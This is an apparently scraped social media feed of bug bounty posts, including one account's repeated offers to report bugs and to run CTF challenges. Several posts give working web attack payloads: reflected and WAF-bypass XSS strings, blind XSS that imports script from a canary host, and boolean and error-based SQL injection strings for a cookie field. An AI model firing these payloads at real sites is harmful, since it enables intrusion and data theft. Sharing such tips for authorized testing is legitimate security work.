H4ck3r-sU

~Cybersecurity researcher and enthusiast~
~Passionate about protecting the digital world~

[H4ck3r-sU @2appstudio]

@RadhaSec There was no filter, so we could perform XSS and CSRF attacks. Additionally, there was no rate limit.
</p><img src=x onerror=confirm(0)>

[H4ck3r-sU @2appstudio]

@icimod hello sir/madam i hope you all are good. i am security researcher recently i found a bug on your site. that bug allow to access data management system. if you need more information than contact me thanks. it's very very critical issued.

i am tired to mailing you

[H4ck3r-sU @2appstudio]

😣

[Het Mehta @hetmehtaa]

25 Top Recon Tools For Ethical Hackers / Bug Bounty

>Nmap
>Maltego
>Gau
>Subfinder
>Dirsearch
>Amass
>Gobuster
>Feroxbuster
>Gowitness
>Altdns
>Rustscan
>Waymore
>Gospider
>NAABU
>Masscan
>Gotator
>FFUF
>DnsValidator
>WhatWeb
>Assetfinder
>Censys
>Reconftw
>Nslookup
>Infoga
>Builtwith

Our Next Bug Bounty & Ethical Hacking Training is starting from mid-March, DM to avail seats.

[RootMoksha Labs @RootMoksha]

𝗫𝗦𝗦 𝗶𝗻 𝘁𝗵𝗲 .𝗰𝘀𝘀 𝗨𝗥𝗟 𝗽𝗮𝘁𝗵

𝗢𝗿𝗶𝗴𝗶𝗻𝗮𝗹 𝗨𝗥𝗟: "target/lib/css/animated.min.css"

𝗫𝗦𝗦 𝗙𝗼𝘂𝗻𝗱 𝗶𝗻:
"/lib/css/animated.min'"/><script%20>alert(document.domain)<%2fscript>.css"

By:@thecybertix

#bugbountytips #BugBounty

[Mohand Israiwi @IsrewyMohand]

Found SQL Injection in [org_id] Cookie
Payloads for Testing:
-1 OR 0=6 AND 0-0=> FALSE
-1 OR 6=6 AND 0-0=> TRUE

Injected in request like this
Cookie:organization_id=-1%20OR%200%3D6%20AND%200-0

#bugbountytip #bugbounty #SQL

[Shivam Kumar Singh @MrRajputHacker]

⚠️ A group of hackers is targeting Bharat government websites. Today, they leaked 500k+ ( *.gov.in ) admin/users login credentials, and they are also continuously launching DDoS attacks on Indian government websites.

#CyberSecurity #infosecurity #Dataleak

[🇸🇦 Murtada Bin Abdullah (Rood) @0x_rood]

Xss is not easy finding

1- Digging for vulnerable endpoint -> 4 Hours
2- Find parameter with param miner
3- Bypass waf -> 30 mins

Payload: "><A%20%252F=""Href=%20JavaScript:k=%27a%27,top[k%2B%27lert%27](origin)>

#bugbounty #bugbountytips

[Intigriti @intigriti]

Ever came across an API endpoint like the one below? 🧐️

If you skipped testing these before, you probably missed out on a few IDOR vulnerabilities... 😬️

Here's how 🤑 👇️

[0xblackbird @0xblackbird]

Adding 2 new blind XSS payloads to the XSS scanner payload vault 😎

'"><Svg Src=//{CANARY_TOKEN}/s OnLoad=import(this.getAttribute('src')+0)>

AND

'"><Img Src=//{CANARY_TOKEN}/x Onload=import(src+0)>

🥷

[H4ck3r-sU @2appstudio]

@ChatFTW hello i found some bugs how can i submit ? on your ai

[H4ck3r-sU @2appstudio]

@ChatFTW i have a issue

[H4ck3r-sU @2appstudio]

hello

[/Zer0/ @_Zer0Sec_]

Some recent lessons learned:

If something is suspicious but SQLMap “thinks” it might/might not be vulnerable, manually confirm/deny before leaving.

Payload example:

' AND extractvalue(rand(),concat(0x3a,(SELECT user()))) #

#bugbountytips #BugBounty

[H4ck3r-sU @2appstudio]

@realNumberSets @Ralpalino @Sleepy4PF @HappyPower @FNChiefAko are you play ctf i have some challanges

[H4ck3r-sU @2appstudio]

@Second2st are you play ctf i have some challanges

[H4ck3r-sU @2appstudio]

@pgsuk i got a bug on your site how can i report